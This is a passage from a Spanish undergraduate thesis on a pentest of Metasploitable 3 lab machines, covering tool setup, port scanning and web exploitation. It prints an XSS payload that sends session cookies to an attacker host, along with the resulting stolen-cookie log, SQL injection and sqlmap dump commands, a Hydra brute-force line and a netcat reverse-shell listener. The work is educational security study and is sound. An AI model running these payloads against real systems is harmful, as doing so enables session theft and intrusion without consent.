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Resumen

El objetivo de este Trabajo Fin de Grado es realizar una auditoria de seguridad,
en la que usaremos un entorno controlado. En esta simulacion se evaluard la
seguridad de las maquinas Metasploitable 3, tanto en su version Windows como
en su version Ubuntu. Ademas se pretende mostrar una variedad importante de
técnicas, para conseguir abarcar un mayor espectro de vulnerabilidades.

Para ello utilizaremos herramientas de Pentesting de codigo abierto o que
tengan una version gratuita, con el fin de que se pueda reproducir el contenido
explicado en este Trabajo Fin de Grado con fines educativos. Por ejemplo estas
herramientas podrian ser Nmap, Burpsuite, SQLmap y muchas otras. El desarro-
llo del trabajo se ajustard a la metodologia para auditoria de seguridad OWASP,
en la que habrd unas fases claras: Reconocimiento, Analisis de vulnerabilidades,
Explotacion y Post Explotacion. Finalmente, se analizardn los resultados obteni-
dos y se desarrollara un informe con posibles soluciones y recomendaciones.
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Abstract

The goal of this Final Degree Project is to replicate a Pentesting exercise, in
which we will use a controlled environment. In this simulation we will evaluate
the security of Metasploitable 3 machines,in its Windows version and in its Ubun-
tu version. In addition, it is intended to show as many techniques as possible, in
order to cover a wider spectrum of vulnerabilities.

For this purpose we will use open source Pentesting tools or tools that have
a free version, so that the content explained in this Final Degree Project can be
used for educational purposes. For example these tools could be used (Nmap,
Burpsuite, SQLmap and many others). Also The OWASP security audit methodo-
logy will be used, in which there will be clear phases: Reconnaissance, Analysis
of vulnerabilities, Exploitation and Post Exploitation. Finally, the results obtained
will be analyzed and a report will be developed with possible solutions and re-
commendations.

Keywords: Pentesting, Metasploitable 3, Vulnerability
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Capitulo 1

Introduccion

Debido a los fraudes y robos de informacion sufridos por numerosas empresas,
surge la practica del Pentesting [23] , que es una de las técnicas mas novedosas
en cuanto a Seguridad Informatica se refiere.

1.1. (Qué es el Pentesting?

El Pentesting [37] es una abreviatura formada por dos palabras “penetration” y
“testing” y es una practica/técnica que consiste en simular ataques reales para eva-
luar los riesgos asociados con la seguridad presente en el sistema. Al realizar un
ejercicio de Pentesting, los hackers éticos haciéndose pasar por un cibercriminal
descubren y explotan vulnerabilidades presentes en el sistema con la finalidad de
evaluar fielmente qué podrian hacer los cibercriminales después de una explota-
cion exitosa.

Hoy en dia no es raro encontrar noticias en las que empresas de renombre
sufren un ciberataque. En muchas de estas noticias la brecha de seguridad ex-
plotada no es un Zero Day [29] del que no habia un parche o solucién existente,
sino de vulnerabilidades comunes como vulnerabilidades de inyeccion de SQL en
sus sitios web, ataques de ingenieria social contra empleados, contrasenas débiles
en servicios de Internet, etc. Es decir, grandes empresas estan sufriendo fallos de
seguridad que podrian haberse solucionado contratando una auditoria, ya que en
una auditoria de Pentesting se enumeran estos problemas antes que los cibercri-
minales y se dan una serie de pautas y recomendaciones para evitarlas.

En las auditorias se suele variar el alcance segun el cliente. Algunos clientes
tendran una muy buena seguridad que puede ser comprobada al realizar la audi-
toria obteniendo muy pocos resultados, mientras que otros tendran muchas vul-
nerabilidades de las que no eran conscientes y estan expuestos a un ataque de
un cibercriminal. Como dijo Alex Casanova, director de Ciberseguridad de Sothis:
"Hay dos tipos de empresas, a las que han atacado y a las que atacardn”

En el Pentesting hay diferentes enfoques segun las necesidades del cliente.



Se puede hacer una auditoria a una aplicacion web, realizar ataque de ingenie-
ria social e intentar obtener acceso a la red interna del cliente, actuar como un
empleado malintencionado e intentar explotar las vulnerabilidades desde dentro,
simular ser un cibercriminal y atacar la organizacion desdes fuera, etc...

1.2. Fases de un Pentesting

El Pentesting comienza en una reunion con el cliente, en la que se exponen
los objetivos de la auditoria. Es decir, se fija un alcance determinado por el cliente
y las condiciones que hay que seguir. Una vez estan bien definidos los objetivos se
comienza con la auditoria.

En primer lugar se realiza la fase de escaneo y reconocimiento de puertos
donde se escanean los puertos de las maqguinas contempladas en el alcance para
recopilar qué puertos estan abiertos y los servicios que pueden haber detras de
ellos. En segundo lugar se realiza la fase de andlisis de vulnerabilidades en la
gue se analiza la informacion obtenida en la fase anterior con el fin de encontrar,
por ejemplo, versiones vulnerables de los servicios detectados. Una vez ya se ha
terminado de recopilar informacion se comienza con la fase de explotacion, en
la que se intenta abusar de los servicios vulnerables para conseguir introducirse
en el sistema del cliente. Después de haber conseguido acceso comienza la fase
de escalada de privilegios, en la que se buscara la forma de conseguir privilegios
de administracion en el sistema. Por ultimo se realiza la fase de post explotacion,
en la que se redacta un informe dando posibles soluciones a las vulnerabilidades
encontradas.

1.2.1. Escaneo y reconocimiento de puertos

Durante esta fase, se analizan fuentes de informacion disponibles, como por
ejemplo LinkedIn, para enumerar posibles usuarios de la empresa e informacion
de la misma, a esto se le llama OSINT((Open Source INTelligence) [21]. También
comienza a usar herramientas como escaneres de puertos en los que se recopilan
versiones y servicios de los mismos. Ademas se realizan escaneos de la red, para
saber qué relacion pueden tener por ejemplo dos maquinas de la organizacion.

1.2.2. Analisis de vulnerabilidades

Teniendo como premisa los datos obtenidos en la fase anterior se comienza
con el analisis de vulnerabilidades. En esta fase se piensa como un cibercriminal y
se desarrolla uno o varios ataques con la informacion que hemos recopilado. Para
ello se desarrollaran diferentes estrategias para infiltrarnos en el sistema del cliente.
Ademas utilizaremos herramientas como escaneres de vulnerabilidades que nos
diran si algunos servicios son vulnerables a determinadas acciones.



1.2.3. Explotacion

La fase por excelencia de un ejercicio de Pentesting es la explotacion, en la que
se simula totalmente el comportamiento de un cibercriminal, atacando todas las
vulnerabilidades encontradas previamente e intentando infiltrarnos en el sistema
del cliente.

1.2.4. Escalada de privilegios

Esta fase va de la mano con la fase de explotacion, ya que una vez se obtie-
ne acceso al sistema del cliente se intenta obtener privilegios de administrador
simulando el comportamiento de un cibercriminal. En esta fase también se le da
importancia a la vulnerabilidad explotada, ya que no es lo mismo acceder a un
servidor que esta aislado que acceder al controlador de dominio del cliente. Es
decir el riesgo de la vulnerabilidad depende de la capacidad que obtenga el ci-
bercriminal una vez se ha infiltrado en el sistema.

1.2.5. Post explotacion

La fase final de un Pentesting es la redaccion del informe. Esta fase es la que
diferencia al Pentester/Hacker del cibercriminal, ya que todas las acciones se han
realizado para finalmente encontrar agujeros de seguridad y reportarlos, haciendo
el sistema del cliente mas seguro ante posibles amenazas.

1.3. ;Qué tipos de Pentesting hay?

Aungue hay mas tipos de pruebas de pentesting, los mas comunes son los
conocidos como Caja blanca, Caja negra.

1.3.1. Caja blanca

En este tipo de Pentesting se parte de un analisis en el que el hacker ético
ya tiene toda la informacion de red de la empresa, ademas de saber credenciales
para inicio de sesion, servidores, posibles medidas de seguridad, firewalls, etc...

1.3.2. Caja negra

En este tipo de Pentesting se realiza la prueba totalmente a ciegas, en la que
no se posee practicamente informacion de la empresa. Al hacer las pruebas de
caja negra se simula fielmente el comportamiento de un cibercriminal, ya que se
realiza el ataque sin conocer la red de la empresa, posibles medidas de seguirad,
etc...



1.4. Objetivos

Con esta propuesta de Trabajo de Fin de Grado se pretende realizar una audito-
ria de caja negra usando diferentes herramientas de pentesting que nos permitan
aprovechar vulnerabilidades presentes en el sistema para conseguir infiltrarnos co-
mo atacante en un entorno controlado y conseguir un usuario privilegiado en la
maquina victima.

Los objetivos principales son aplicar los conocimientos adquiridos en el Grado
para conseguir vulnerar la seguridad de un entorno controlado, en primer lugar
infiltrandose como un usuario no privilegiado y seguidamente aprovecharse de la
técnica denominada “Escalado de privilegios” que como su nombre indica seria
elevar nuestros privilegios de usuario no privilegiado a usuario privilegiado. Final-
mente habria que desarrollar un informe con las vulnerabilidades encontradas, y
posibles soluciones o recomendaciones para su arreglo.



Capitulo 2

Laboratorio de pruebas

En este capitulo se desarrollara una guia de como se ha montado el entorno
en el que se realizara el Trabajo de Fin de Grado.

2.1. ;Donde se instalaran las maquinas virtuales?

Para este Trabajo de Fin Grado utilizaremos el servicio laaS [19] que nos pro-
porciona la Universidad de La Laguna.

El laaS es una plataforma de virtualizacion que funciona con Ovirt [22]. El ser-
vicio consiste en ofrecer recursos de computacion, a través de una plataforma de
virtualizacion sobre KVM [20] basada en permisos que permite asignar a cada in-
dividuo privilegios concretos segun sus necesidades.

Montaremos 3 maquinas virtuales 2.1], un servidor vulnerable Ubuntu, otro vul-
nerable Windows y por ultimo una maquina atacante en la que instalaremos las
herramientas necesarias para realizar el Pentesting.



Wiaguina Vulnerable
Ubuntu

v

“idguina Remota

iaguina Atacante

Figura 2.1: Topologia de la red

2.2. Servidor vulnerable Ubuntu

Para configurar la maquina vulnerable Ubuntu[36] hay que seguir los siguien-
tes pasos: En primer lugar hay que clonar el repositorio de la maquina vulnerable
, para ello se usa el siguiente comando:

git clone https://github.com/rapid7/metasploitable3.git

nos movemos al directorio de las plantillas con el comando:

cd metasploitable3/packer/templates

Después abrimos el fichero ubuntu_1404.json con un editor de texto, se debe
cambiar el campo post-processor, y dentro de este el keep _input_artifact al valor
true. Para finalizar en el directorio metasploitable3 usaremos:

packer build --only=virtualbox-iso ./packer/templates/ubuntu_1404. json

Este comando creara el directorio output-virtualbox-iso, que contendra la imagen
en formato vmdk con su correspondiente ovf.

2.3. Servidor vulnerable Windows

Para configurar la maquina vulnerable Windows[36] hay que seguir los siguien-
tes pasos: En primer lugar hay que clonar el repositorio de la maquina vulnerable,
para ello se usa el siguiente comando:



1 git clone https://github.com/rapid7/metasploitable3.git

nos movemos al directorio de las plantillas con el comando:

1 cd metasploitable3/packer/templates

Después abrimos el fichero windows 2008 r2.json con un editor de texto, se
debe cambiar el campo post-processor, y dentro de este el keep input_artifact al
valor true. Para finalizar en el directorio metasploitable3 usaremos:

1 packer build --only=virtualbox-iso /packer/templates/windows_2008_r2. json

Este comando creara el directorio output-virtualbox-iso, que contendra la imagen
en formato vmdk con su correspondiente ovf.

2.4. Conversion al formato OVA

Una vez se han conseguido las imagenes en formato vmdk utilizaremos la apli-
cacion virtualbox [[31]] para exportar las imagenes en formato ova de la siguiente
forma:

. Se selecciona la maquina que se quiere exportar.

. Se usa la opcion exportar.

. Se selecciona el formato .ova

. Se exporta.



Capitulo 3

Herramientas utilizadas

En este capitulo se presentaran las herramientas con las que se ha desarrollado
el Trabajo de Fin de Grado con la intencién de que el lector se familiarice con ellas,
puediendo asi comprender las explicaciones posteriores.

3.1. Nmap

Para realizar el escaneo de los puertos utilizaremos la herramienta nmap. En
breves palabras Nmap [6] o “Network Mapper” es una herramienta gratuita y de
cddigo abierto que se utiliza para el analisis de redes y las auditorias de seguridad.
Utiliza el envio de paquetes para determinar qué equipos estan disponibles en la
red, qué servicios ofrecen los mismos, qué sistemas operativos utilizan y muchas
mas caracteristicas. En este caso utilizaré el siguiente escaneo para las distintas
maquinas que voy a atacar.

sudo nmap -p- --open -sS -sV -T5 -Pn -0 -vvv 192.168.1.254 -0oG allPorts

Uso sudo porque para ejecutar este tipo de escaneo es necesario ser superusuario.
[-p-1: Se utiliza para indicar que se quiere escanear todo el rango de puertos.

[-open]: Se usa para que solo analice los puertos abiertos, ya que son los que
nos interesan para infiltrarnos en la maquina.

[-sS]: Hace que el escaneo utilice la técnica TCP SYN, la cual omite el ultimo
paso del TCP handshake enviando un RST siendo asi invisible para los historicos
del sistema.

[-sV]: Habilita la deteccion de servicio, para detectar que esta ejecutandose
detras de los puertos abiertos.

[-T5]: Habilita la plantilla mas rapida para el escaneo, ya que estamos en un
entorno controlado que no tiene firewall nos interesa escanear |lo mas rapido po-
sible.



[-Pn]: Deshabilita el escaneo ping, ya que nmap previamente a los escaneos
identifica si las maquinas estan encendidas con un escaneo ping y al estar en un
entorno controlado omitimos esa prueba, ya que sabemos que el host esta activo.

[-O]: Activa la deteccion de sistema operativo, para que Nmap trate de identi-
ficar el sistema operativo de la maquina escaneada, es decir realice fingerprinting.

[-vwv]: Activa la verbosidad en su maximo modo, para que segun vaya descu-
briendo puertos abiertos y sus respectivas versiones los muestre por consola.

[-0G]: Exportamos los resultados en formato grep al fichero allPorts

Aunque la herramienta nmap tiene muchos mas usos y opciones me centraré
en las mencionadas anteriormente para escanear los servidores vulnerables.

3.2. Exploit database

Antes de explicar qué es Exploit Database [[18] es necesario repasar en térmi-
nos técnicos qué es un exploit.

Un exploit es un script creado para automatizar el abuso de errores de configu-
racion/software presentes en un servicio en la maquina victima o una vez dentro
del sistema en su propia estructura, de esta forma se consigue que el sistema o
la maquina victima se comporte de forma no deseada. Como se menciono pre-
viamente los exploits generalmente van de la mano con los CVE publicados, pero
también existen algunos que no van ligados a los CVE.

Una vez se ha repasado qué es un exploit la explicacion de qué es Exploit
Database se vuelve muy sencilla, ya que es una base de datos de exploits. Exploit
Database es un proyecto de la empresa Offensive Security, su objetivo es tener
una gran base de datos de exploits publica para la investigacion y el desarrollo del
Pentesting.

3.3. Netcat

Netcat [5] es una herramienta todoterreno, ya que puede realizar multitud de
tareas en la red. También es popular entre los administradores de redes y sistemas,
por su facilidad y versatilidad.

No obstante, Netcat tiene usos maliciosos, que seran los que usaremos en es-
te Trabajo de fin de Grado. Concretamente lo utilizaremos para realizar la técnica
lamada Reverse shell [24], en la que nos ponemos en escucha en un puerto de
nuestra maquina local y obtenemos una consola interactiva enviada por un orde-
nador remoto. Con ella podremos conseguir escalar privilegios y convertirnos en
administrador o simplemente inyectar malware en el ordenador al que hemos
accedido. Generalmente llamaremos a la herramienta Netcat de la siguiente ma-



nera:

nc -lvp 1234

[-1]: Habilita el modo escucha

[v]: Habilita el modo verbose, el cual nos reporta conexiones por consola entre
otras.

[pl: Indica en que puerto va a quedarse escuchado Netcat

3.4, Hydra

Hydra [4] es una herramienta desarrollada para robar contrasenas, aprove-
chandose del método conocido como fuerza bruta. La técnica de fuerza bruta
consiste en probar muchisimas contrasefas hasta obtener la que nos permita ini-
ciar sesion. Ademas hay otro método que es utilizar diccionarios, que son coleccio-
nes de palabras y contrasefas comunes.Por ello si el usuario utiliza una contrasena
débil sera mucho mas facil aplicar este vector de ataque. También Hydra es gratui-
to y de cddigo abierto, contando con mas de 30 protocolos compatibles, donde
podemos probar y ver si una contrasea es explotable o es realmente fuerte. Para
la realizacion del Trabajo de Fin de Grado utilizaremos la siguiente linea de coédigo:

hydra -L $usuarios -P $Diccionario 192.168.1.254 -t 4 -e nsr -v ssh

[-L]: Permite pasarle a Hydra una lista de usuarios con los que probar las con-
trasenas. Si usaramos la opcion -l solo admitiria un usuario.

[-P]: Permite pasarle a Hydra un diccionario de contrasenas. Si usramos la op-
cion -p solo admitiria una contrasena.

[-t]: Le indica a Hydra el numero de hilos a utilizar.

[-e nsrl: El parametro -e seguido de nsr le indica a Hydra que compruebe si el
usuario no tiene contrasena y se puede acceder, si la contrasena es la misma que
el nombre y finalmente si es el nombre del revés.

3.5. Burp Suite

Burp Suite [34] en un Sotfware desarrollado por la empresa PortSwigger. Esta
disenado para ayudar en las pruebas de Pentesting Web, concretamente en las
aplicaciones web a través de peticiones HTTPy HTTPS. Ademas es multiplataforma
y cuenta con una version gratis llamada community edition.

Burp Suite incorpora varias herramientas, aunque se explicaran solo las nece-
sarias para comprender el desarrollo de este Trabajo de Fin de Grado. Dicho esto,
la herramienta por excelencia es el Proxy, que puede interceptar peticiones y res-
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puestas HTTPy HTTPS, para luego editarlas antes de enviarlas al servidor destino.
Su principal utilidad es editar las peticiones interceptadas para ver como reaccio-
na el servidor al recibirlas. La herramientas de Burp Suite estan integradas con el
Proxy pudiendo importar y exportar las peticiones realizadas. En segundo lugar
tenemos el Repeater que es una herramienta en la que se importan las peticio-
nes del Proxy, una vez tenemos la peticion podremos realizarle modificaciones
y ver las respuestas del otro lado, por lo que podemos cambiar la peticion a vo-
luntad viendo las respuestas que nos da el servidor objetivo. Esta herramienta es
especialmente util para comprobar si los parametros enviados en las peticiones
son vulnerables por ejemplo a SQLi (SQL injection) [35] . Para concluir se explicara
el Intruder, el cual es capaz de importar la peticion del Proxy y configurar cargas
utiles(payloads) para luego ejecutarlas automaticamente obteniendo las respues-
tas del servidor. Aungue estas no son todas las funcionalidades de Burp Suite las
mencionadas previamente son las necesarias para comprender el contenido de-
sarrollado.

3.6. SQLmap

SQLmap [7] es una herramienta de Pentesting de codigo abierto que automa-
tiza el proceso de deteccion y explotacion de inyecciones SQL y toma de control
de los servidores de bases de datos. SQLmap es una herramienta desarrollada en
python para explotar la vulnerabilidad SQL/ (SQL injection) automaticamente. Se
basa en encontrar y abusar de SQL/ en aplicaciones web. Una vez que encuentra
una mala configuracion en la maquina victima, el atacante puede aprovecharse
de ellas para obtener datos de la base de datos. Aunque generalmente se suele
obtener toda la informacion de las bases de datos, para después obtener creden-
ciales validas en el sistema. Dado que SQLmap tiene una amplia coleccion de
opciones y un procedimiento en el que debemos ejecutar la herramienta varias
veces explicaré las opciones individualmente.

[-r]: Esta opcion se utiliza para pasarle ficheros que contengan peticiones http,
en este le he enviado una que esta capturada con la herramienta burpsuite.

POST /payroll_app.php HTTP/1.1

Host: 192.168.1.181

Content-Length: 22

Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

Origin: http://192.168.1.181

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

Referer: http://192.168.1.181/payroll_app.php
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9

Connection: close

user=a&password=a&s=0K

11



Listado 3.1: Peticion http capturada con Burpsuite

[-p]: Esta opcion le indica a SQLmap el parametro vulnerable a SQLi de la cap-
tura http que le acabamos de pasar.

[-dbs]: Lista todas las bases de datos que hay disponibles, para seleccionar una
usamos -D seguido de su nombre.

[-tables]: Lista todas las tablas que hay dentro de una base de datos que tiene
gue ser seleccionada previamente, para seleccionar una usamos -T seguido de su
nombre.

[-columns]: Lista todas las columnas que hay en una tabla seleccionada pre-
viamente, para seleccionar una usamos -C seguido de su nombre.

[-Fdump]: Lista todas los datos de una tabla y los muestra por pantalla.

Un ejemplo de una linea completa en la que obtenemos los datos deseados
con SQLmap es:

sqlmap -r captura.req --data='user=a&password=a&s=0K'
2 -p user -D payroll -T users --dump

3.7. MetaSploit

La herramienta MetaSploit [30] es un programa de software libre, concreta-
mente desarrollado para ayudar al usuario en las auditorias de seguridad. Me-
taSploit provee de una gran cantidad de exploits, que se pueden ejecutar con-
tra maquinas que presenten las vulnerabilidades para las que el exploit ha sido
desarrollado. Ademas MetaSploit permite importar y exportar los exploits de la
plataforma. También tiene una serie de shell codes , como por ejemplo el de una
reverse shell en python [10].

En este Trabajo de Fin de Grado se usara para explotar vulnerabilidades que
son muy costosas en cuanto a tiempo se refiere, debido a que la intencion del
mismo es mostrar tantos fallos de seguridad y técnicas de Pentesting como sea
posible.

En conclusion MetaSploit bien usado es una herramienta muy versatil, que nos
puede ayudar de muchisimas formas a la hora de realizar una auditoria , ya que
una vez encontrada la vulnerabilidad es muy facil explotarla. Hay veces que los
exploits hay que modificarlos, aunque no suele ser el caso, ya que la plataforma
nos permite indicarle la direccion ip de la victima o el puerto en el que esta el
servicio que queremos explotar.
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3.8. (Qué es un CVE?

Los CVE (Common Vulnerabilities and Exposures) son una lista de agujeros de
seguridad que es publica. Cuando hablamos de un CVE nos referimos al reporte
gue se realiza sobre una vulnerabilidad en concreto, cada uno tiene su propio
codigo, por ejemplo uno tratado en este Trabajo de Fin de Grado es el CVE-2015-
8249, que se corresponde con una vulnerabilidad del servicio Manage Engine.
Ademas todos los CVE tienen un campo de gravedad, que en el caso del anterior
es considerado como alta, ya que nos permite obtener acceso al sistema. Los CVE
tienen un conjunto de caracteristicas comunes que son:

. Se puede solucionar el problema de forma aislada.
. El desarrollador de Software confirma la falla.

. Afectan a una parte aislada del cddigo.

Este tipo de herramientas son muy utilizadas por los cibercriminales, ya que
indican donde se encuentra el fallo de seguridad. Generalmente cuando se publica
un CVE, se publica también en paralelo un exploit (Codigo que automatiza una
intrusion) que se aprovecha de la vulnerabilidad publicada en ese CVE.

3.9. Diccionarios de contrasenas

Un diccionario de contrasefas es una coleccion de contrasefnas, que general-
mente es utilizada para ataques de fuerza bruta. En este Trabajo de Fin de Grado
se ha usado el famoso diccionario rockyou.txt, aunque se ha usado una version
reducida, ya que la original es un fichero que contiene 8.459.060.239 entradas
Unicas y ocupa 100 Gb.
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Capitulo 4

Escaneo y reconocimiento de puertos

En este capitulo se abordara la fase de escaneo y reconocimiento de puer-
tos en ambas maquinas. Para llevar a cabo esta fase utilizaremos la herramienta
previamente explicada Nmap, con ella analizaremos los puertos abiertos en las
maquinas, asi como las versiones de sus servicios.

4.1. Escaneo en la maquina Ubuntu

En la maquina Ubuntu obtenemos los resultados mostrados en la figura 4.1}

SERVICE EA VERSION

f"tp 5Y 54 P PD ! 3
open ssh syn- tl ) Ubuntu 2ubuntu2.13 (Ubuntu Linux; protecol 2.8)
open http sy L 7

netbios-ssn s) t 3 - 4.% (workgroup: WORKGROUP)

3.8 (2018-18-18))

Figura 4.1: Escaneo de Ubuntu

Como se puede observar hay diez puertos abiertos, en los que tenemos di-
ferentes servicios con sus respectivas versiones, algunas de ellas vulnerables. Una
vez realizado el escaneo se comenzara a analizar los servicios encontrados para
detectar si tienen alguna vulnerabilidad conocida de la que el atacante puede
aprovecharse para realizar acciones maliciosas en la maquina victima.

Una vez se identifiquen las versiones vulnerables se pasara a la fase de explo-
tacion en la que se abusara del servicio vulnerable.

4.2. Escaneo en la maquina Windows

En la maquina Windows obtenemos los resultados mostrados en la figura 4.2}
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Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered

135/tcp on 192.168.3.20

21/tcp on 192.168.3.20

3389/tcp on 192.168.3.20
445/tcp on 192.168.3.20

80/tcp on 192.168.3.20

8080/tcp on 192.168.3.20
3306/tcp on 192.168.3.20
139/tcp on 192.168.3.20

22/tcp on 192.168.3.20

8484/tcp on 192.168.3.20
1617/tcp on 192.168.3.20
9200/tcp on 192.168.3.20
3700/tcp on 192.168.3.20
3920/tcp on 192.168.3.20
49242/tcp on 192.168.3.20
49153/tcp on 192.168.3.20
49214/tcp on 192.168.3.20
8686/tcp on 192.168.3.20
49244 /tcp on 192.168.3.20
9300/tcp on 192.168.3.20
49209/tcp on 192.168.3.20
49152/tcp on 192.168.3.20
49228/tcp on 192.168.3.20
8020/tcp on 192.168.3.20
47001/tcp on 192.168.3.20
49157/tcp on 192.168.3.20
3820/tcp on 192.168.3.20
49177/tcp on 192.168.3.20
49154/tcp on 192.168.3.20
7676/tcp on 192.168.3.20
49229/tcp on 192.168.3.20
4848/tcp on 192.168.3.20
49239/tcp on 192.168.3.20
8383/tcp on 192.168.3.20
8027/tcp on 192.168.3.20
5985/tcp on 192.168.3.20
8585/tcp on 192.168.3.20
49158/tcp on 192.168.3.20
8181/tcp on 192.168.3.20
49243/tcp on 192.168.3.20

Figura 4.2: Escaneo de Windows

Como se puede observar hay cuarenta puertos abiertos, en los que tenemos
diferentes servicios con sus respectivas versiones (no mostrado, algunas de ellas
vulnerables. En este caso la maquina Windows tiene mas puertos abiertos, por lo
que el atacante podra encontrar mas vulnerabilidades en el sistema. Una vez reali-
zado el escaneo se comenzara a analizar los servicios encontrados para detectar si
tienen alguna vulnerabilidad conocida de la que el atacante puede aprovecharse
para realizar acciones maliciosas en la maquina victima.

Una vez se identifiquen las versiones vulnerables se pasara a la fase de explo-
tacion en la que se abusara del servicio vulnerable.
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Capitulo 5

Explotacion

En este capitulo se presentara la fase de explotacion, concretamente un des-
glose de las vulnerabilidades encontradas y como explotarlas de forma técnica.
El objetivo principal es encontrar unas credenciales que tengan acceso al siste-
ma o directamente una sesion dentro del sistema, para posteriormente intentar
conseguir una sesion de administrador.

5.1. Vulnerabilidades Web

En esta seccion se describiran las vulnerabilidades relacionadas con las apli-
caciones web, explicando como abusar de las malas configuraciones o practicas
inseguras realizadas en ellas.

5.1.1. Cross Site Scripting(XSS)

En el puerto 80 de la maquina victima hay un servidor apache [15]. Una vez
accedemos al servidor, concretamente a una ruta llamada chat, encontramos una
aplicacion en la que podemos poner nuestro nombre y entrar a un chat. Si nos au-
tenticamos como cualquier usuario podremos enviar mensajes que son vulnera-
bles a XSS [27]], ya que el propio chat permite inyectar codigo. Es decir, la maquina
victima interpreta el codigo JavaScript [3 3] malicioso introducido por el atacante.
Esta vulnerabilidad tiene diferentes tipos de abusos, pero en este vector de ata-
gue robaremos la cookie de sesion [2]] del usuario victima, ya que los mensajes se
envian una vez se inicia sesion en el chat. En primer lugar se introduce un codi-
go basico para comprobar que el campo es vulnerable a XSS, para ello usamos la
siguiente linea de codigo:

<script>alert ("TFG")</script>

Este cddigo devuelve el siguiente resultado indicando que efectivamente el
campo es vulnerable a XSS como se muestra en la figura [5.1]
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localhost:8000 says
TFG

Figura 5.1: Test XSS

Entonces, una vez se ha comprobado que el campo es vulnerable ya que ha
ejecutado el codigo introducido se comienza el vector de ataque para robar la
cookie de sesion de los usuarios. Desde la maquina atacante se abre un servidor
http malicioso, en el que se almacenaran las cookies robadas. Hay varias formas
de desplegar el servidor malicioso, pero como se trata de un entorno controlado
se hara de forma sencilla con python con la siguiente linea de cédigo:

python3 -m http.server 8000

Este comando abrira el servidor malicioso en el puerto 8000 del localhost,
en este caso la maquina atacante. A continuacion se desplegara el ataque en la
maquina victima para abusar del campo vulnerable. Estamos inyectando codigo
malicioso en la salida de la aplicacion web, de forma que el navegador ejecutara
el script que hemos introducido.

<script>var i=new Image;i.src="http://192.168.1.253:8000/7"+
document . cookie;</script>

Este codigo solicita una imagen inexistente a la maquina atacante en la que
se adjunta la cookie de sesion de la maquina victima. Entonces siempre que un
usuario se conecte al chat se cargara el codigo malicioso solicitando una imagen
inexistente y enviando la cookie de sesion( Figura: @) a la maquina atacante sin
ningun tipo de aviso al usuario.

http.server
Serving HTTP on ©0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.1.162 - - [30/May/2@22 13:55:10] "GET /?name=TFG;%20PHPSESSID=16d107b871ded@2ecflcabalfd4e986f HTTP/1.1" 200 -
192.168.1.162 - - [30/May/2022 13:55:11] "GET /?name=TFG;%20@PHPSESSID=16d107b871ded02ecflcabalfd4e986f HTTP/1.1"

Figura 5.2: Cookie robada recibida en servidor malicioso

5.1.2. SQL Injection(SQLi)

Llamamos SQL injection [35] a una vulnerabilidad web que permite al atacan-
te interferir en las consultas SQL que la aplicacion realiza a su base de datos. Este
tipo de ataques permite al atacante acceder a datos a los que de forma normal no
podria acceder, como por ejemplo contrasenas de los usuarios o datos de la apli-
cacion. Esta vulnerabilidad es un gran problema ya que el atacante puede realizar
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operaciones en la base de datos, cambiando asi el contenido o funcinamiento de
la misma.

Al entrar al servidor web de la maquina encontramos una aplicacion llamada
payroll_app.php en la que tenemos un formulario de login. En este formulario no
se sanitiza el codigo, de forma que si probamos en el campo de usuario a realizar
una inyeccion SQL basica nos devuelve la base de datos listando todos los nombre
de usuarios del sistema, su salario y sus nombres reales (Figura |5.3)).

Payroll Login
4 )

User | ‘
Password | ‘
OK |

L9 P

Figura 5.3: Login de la aplicacion

Lo que esta pasando es que la consulta que se esta realizando tiene el siguiente
formato:

SELECT * FROM USUARIOS WHERE USERNAME=User
AND PASSWORD=Password;

Entonces al hacer la inyeccion( or 1 =1 --) en el campo User la condicion siempre
sera verdadera y se comentara toda la demas sentencia, de forma que la consulta
guedara de la siguiente forma:

SELECT * FROM USUARIOS WHERE USERNAME='' or 1 =1 -- -
AND PASSWORD=Password;

Como resultado la consulta final estara seleccionando todos los campos de la tabla
USUARIOS siempre que el campo USERNAME este vacio o cuando 1 seaigual a 1,
esta ultima condicion se cumple siempre, asi que la consulta nos devolvera todos
lo datos guardados en la tabla USERNAME (Figura: ).
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Welcome, 'or1=1---

4 ™
Username First Nams Last ¥ame  Salary
leia_osgana Lein Clegana §560
Iuke_skywalker Luks Skywalker 1080
han_solo Han Saola 1200
artoo_detoo Artoo Distoo X333
¢_three_pio L Threepio 3200
ben_kenola Ben Flenabn 10000
darth_vader Darih Vader G006
anakm_skyvwalker  Anakm Skyrwalkes 1025
jarjar_binks Jar-Jar Binks 2048
lamdle_calvisscan Landa Calrissian 40000
boba_fett Boba Fatt 20000
jabba_hu Taba Hurt G5000
greedo Giresdo Foodian 30000
chewhasza Chewbacca 4500
kylo_ren Kxlo Ren 6667
o J

Figura 5.4: Bases de datos en el servidor victima
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Sin embargo ahora que sabemos que hay un parametro vulnerable a SQLi no se
obtendra solo la informacion de una tabla, sino que indagaremos en toda las bases
de datos, para obtener toda la informacion que necesitemos para otros vectores
de ataque. Para ello usaremos las herramienta BurpSuite junto con SQLmap.

En primer lugar activamos el Proxy de BurpSuite e interceptamos la peticion
gue se envia a la aplicacion a la hora de hacer login.

POST /payroll_app.php HTTP/1.1
Host: 192.168.1.181
Content-Length: 22
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

; Origin: http://192.168.1.181

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Referer: http://192.168.1.181/payroll_app.php
Accept-Encoding: gzip, deflate

Accept-Language: es-ES,es;q=0.9

Connection: close

user=a&password=a&s=0K

Ya sabemos de antemano que el parametro user es vulnerable a SQL/, enton-
ces pasaremos la peticion interceptada a SQLmap para seguir obteniendo infor-
macion sobre la base de datos de la aplicacion. En SQLmap el vector de ataque se
realiza por pasos, listando primero las bases de datos disponibles y seleccionando
una de ellas, en consecuencia listando las tablas de |la base de datos seleccionada
y listandola y finalmente seleccionado las columnas que queremos de esa tabla.
Siguiendo ese procedimiento usaremos los siguiente comandos, cuyo resultado se
ve en la Figura [5.5;

sqlmap -r /home/m00d/Desktop/TFG/sqli/burp.req
--data='user=a&password=a&s=0K' -p user --dbs

[10:16:27] [INFO] fetching database names
available databases [5]:

drupal

information_schema

mysql
payroll
performance_schema

Figura 5.5: Bases de datos obtenidas con SQLmap

Obtenemos todas las bases de datos que tiene la aplicacion, en este caso la
